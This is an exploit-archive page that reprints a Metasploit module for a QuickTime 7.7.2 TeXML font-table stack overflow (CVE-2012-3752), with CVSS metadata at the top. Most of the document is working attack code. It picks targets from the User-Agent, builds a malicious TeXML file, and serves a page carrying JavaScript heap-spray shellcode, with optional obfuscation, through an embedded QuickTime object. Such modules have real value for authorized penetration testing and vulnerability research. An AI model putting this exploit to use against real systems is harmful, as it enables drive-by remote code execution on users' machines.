Apple QuickTime 7.7.2 TeXML font-table Field Stack Buffer Overflow

2012.11.25
Credit: metasploit
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_name => OperatingSystems::WINDOWS, :javascript => true, :rank => NormalRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability found in Apple QuickTime. When handling a TeXML file, it is possible to trigger a stack-based buffer overflow, and then gain arbitrary code execution under the context of the user. This is due to the QuickTime3GPP.gtx component not handling certain Style subfields properly, as the font-table field, which is used to trigger the overflow in this module. Because of QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista). }, 'Author' => [ 'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery 'juan vazquez' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '87087' ], [ 'CVE', '2012-3752' ], [ 'BID', '56557' ], [ 'URL', 'http://support.apple.com/kb/HT5581' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 1000, }, 'Platform' => 'win', 'Targets' => [ # Tested with QuickTime 7.7.2 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', {} ], [ 'Firefox 3.5 on Windows XP SP3', {} ], [ 'Firefox 3.5.1 on Windows XP SP3', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Nov 07 2012', 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' browser_name = "" if agent =~ /MSIE/ browser_version = agent.scan(/MSIE (\d)/).flatten[0] || '' browser_name = "IE #{browser_version}" elsif agent =~ /Firefox\/3.5$/ browser_name = "Firefox 3.5 " elsif agent =~ /Firefox\/3.5.1$/ browser_name = "Firefox 3.5.1" elsif agent =~ /Opera\/9/ browser_name = "Opera" end case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def on_request_uri(client, request) return if ((p = regenerate_payload(client)) == nil) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end if request.uri =~ /\.3gp/ print_status("Sending exploit TEXML (target: #{my_target.name})") my_payload = "1" * (1024*16) texml = <<-eos <?xml version="1.0"?> <?quicktime type="application/x-quicktime-texml"?> <text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1" language="eng" timeScale="600" transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)"> <sample duration="2400" keyframe="true"> <description format="tx3g" displayFlags="ScrollIn" horizontalJustification="Left" verticalJustification="Top" backgroundColor="0%, 0%, 0%, 100%"> <defaultTextBox x="0" y="0" width="176" height="60"/> <fontTable> <font id="1" name="Times"/> </fontTable> <sharedStyles> <style id="1"> {font-table: #{my_payload}} {font-style:normal} {font-weight: normal} {font-size: 10} {line-height: 100%} {text-align: right} {text-decoration: underline} {color: 100%, 100%, 100%, 100%} {backgroundcolor: 100%, 100%, 100%, 100%} </style> </sharedStyles> </description> <sampleData scrollDelay="200" highlightColor="25%, 45%, 65%, 100%" targetEncoding="utf8"> <textBox x="10" y="10" width="156" height="40"/> <text styleID="1">What you need... Metasploit!</text> <highlight startMarker="1" endMarker="2"/> <blink startMarker="3" endMarker="4"/> </sampleData> </sample> </text3GTrack> eos send_response(client, texml, { 'Content-Type' => "application/x-quicktime-texml" }) else print_status("Sending initial HTML") url = ((datastore['SSL']) ? "https://" : "http://") url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST']) url << ":" + datastore['SRVPORT'].to_s url << get_resource fname = rand_text_alphanumeric(4) #ARCH used by the victim machine arch = Rex::Arch.endian(my_target.arch) nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch) code = Rex::Text.to_unescape(payload.encoded, arch) # Spray puts payload on 0x31313131 if my_target.name =~ /IE/ spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{code}"); var nops = unescape("#{nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, 0x800 - code.length); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=0; i < 1600; i++) { heap_obj.alloc(block); } JS #Use heaplib js_spray = heaplib(spray) #obfuscate on demand if datastore['OBFUSCATE'] js_spray = ::Rex::Exploitation::JSObfu.new(js_spray) js_spray.obfuscate end else js_spray = <<-JS var shellcode = unescape("#{code}"); var bigblock = unescape("#{nops}"); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock; var memory = new Array(); for (i = 0; i < 750; i++){ memory[i] = block + shellcode } JS end content = "<html>" content << <<-JSPRAY <head> <script> #{js_spray} </script> </head> JSPRAY content << "<body>" content << <<-ENDEMBED <OBJECT CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" WIDTH="1" HEIGHT="1" CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab"> <PARAM name="SRC" VALUE = "#{url}/#{fname}.3gp"> <PARAM name="QTSRC" VALUE = "#{url}/#{fname}.3gp"> <PARAM name="AUTOPLAY" VALUE = "true" > <PARAM name="TYPE" VALUE = "video/quicktime" > <PARAM name="TARGET" VALUE = "myself" > <EMBED SRC = "#{url}/#{fname}.3gp" QTSRC = "#{url}/#{fname}.3gp" TARGET = "myself" WIDTH = "1" HEIGHT = "1" AUTOPLAY = "true" PLUGIN = "quicktimeplugin" TYPE = "video/quicktime" CACHE = "false" PLUGINSPAGE= "http://www.apple.com/quicktime/download/" > </EMBED> </OBJECT> ENDEMBED content << "</body></html>" send_response(client, content, { 'Content-Type' => "text/html" }) end end end =begin * Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height) int __fastcall sub_67EED2B0(int a1, int a2) { int result; // eax@1 unsigned __int8 v3; // cl@2 for ( result = 0; ; ++result ) { v3 = *(_BYTE *)a2++ - 0x30; if ( v3 > 9u ) break; } return result; } =end


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